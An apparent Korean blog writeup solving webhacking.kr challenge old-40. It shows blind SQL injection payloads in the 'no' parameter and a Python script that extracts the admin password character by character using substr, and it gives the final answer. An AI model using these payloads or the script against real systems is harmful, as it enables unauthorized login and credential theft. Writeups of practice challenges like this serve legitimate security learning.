webhacking.kr old 40번 문제풀이(Writeup)
문제를 들어가면 위와 같이 출력된다. 궁금하니까 로그인부터 눌러보자.
로그인을 해보니, no=1, id=guest, pw=guest라는 것을 GET 메소드 방식으로 전달한다.
no=2로 넣어서 실패를 해보니, failure이 나온다. 이번엔 no=0으로 넣으니 아무 반응을 하지 않는다. 따라서 이번 문제도 Blind SQL Injection이지 않을까 싶다. 그래서 가장 의심스러운 no에서 injection이 되는지 시도해봤다.
no=0||1=1 을 넣고 나머지는 그대로 해서 로그인이 되는지 확인해봤고, 그 결과 로그인에 성공했다.
그렇다면 no=0||no=2를 넣고 id=admin&pw=admin으로 넣는다면 로그인이 될까 싶었다. 해보니까 admin으로 로그인할 수 있는 페이지가 출력되었다. 여기서 스크립트를 작성해서 password를 맞출 수 있을 것 같았다. 그렇다면 pw의 길이를 먼저 알아야 하는데, 이것도 SQL Injection으로 해결할 수 있을까 싶어서 몇 가지 시도를 하다가 length(pw)함수가 되는 것을 알게 됐다.
"no=0||length(pw)=1&id=admin&pw=admin"
위 쿼리로 해서 Interude에서 Sniper를 이용해 Payload는 Numbers 1 to 20 step 1로 설정해서 Brute Force공격을 했다.
admin페이지가 나오는 것은 length(pw)=10 일 때, 나온것을 확인했다.
Burp Suite로 잡아보니 파라미터가 auth로 잡히는 것이 보인다. 이제 auth를 통해 잘못된 값을 넣으면 Wrong이 출력되는 것까지 알았다. 이젠 진짜 스크립트를 작성해보자.
import requests
URL="https://webhacking.kr/challenge/web-29/?"
cookie = {'PHPSESSID':"8p801v7bi31380bsqlkok5nql2"}
#Get_Password_length
len = 10
pw =''
for i in range(1,len+1):
for j in range(33,133):
k = hex(j).split("0x")[1]
param = "no=0||substr(pw,{},1)=0x{}&id=admin&pw=admin".format(i,k)
r = requests.get(URL+param, cookies=cookie)
#print(j)
if "admin password :" in r.text:
pw += chr(j)
print(pw)
break
먼저 password 길이는 10인 것을 찾았었고, password 길이만큼 반복을 돌면서, ascii 코드 범위인 33~133까지 반복을 돌면서 substr로 하나씩 잘라서 대입해본다. 이때 "admin password : "가 출력되면 패스워드가 맞기 때문에 pw 문자열을 출력한 다음 break를 하고 다시 반복을 이어간다.
LCK_ADMIN이라고 나왔다. 보니까 두번째 패스워드를 찾을 때 출력이 안되었다. 그래서 안된 이유를 찾다보니 guest 계정과 admin계정 두개의 2번째 자리 password가 같을 수도 있을 것이라고 생각했다. 같다고 가정하면, 아래와 같은 password가 된다.
LUCK_ADMIN
말이 되는걸 보니 같았던 것 같다. 그리고 r.text로 찾을 때, 많은 경우에 대문자로만 출력된다. 따라서 소문자로 바꿔서 password를 입력했다.
문제 해결 메시지가 출력된다.
Blind SQL Injection 문제에서 쉬운 편이었던 것 같다. 기본을 다시 공부할 수 있는 문제였다.
'웹해킹 > webhacking.kr' 카테고리의 다른 글
webhacking.kr old 51번 문제풀이(Writeup) md5(,true) 취약점 (0) | 2022.10.26 |
---|---|
webhacking.kr old 43번 문제풀이(Writeup) (0) | 2022.10.25 |
webhacking.kr old 29번 문제풀이(Writeup) 파일업로드를 통한 SQL Injection (0) | 2022.10.22 |
webhacking.kr old 28번 문제풀이(Writeup) htaccess 취약점 설명 (0) | 2022.10.21 |
webhacking.kr old 24번 문제풀이(Writeup) (0) | 2022.10.20 |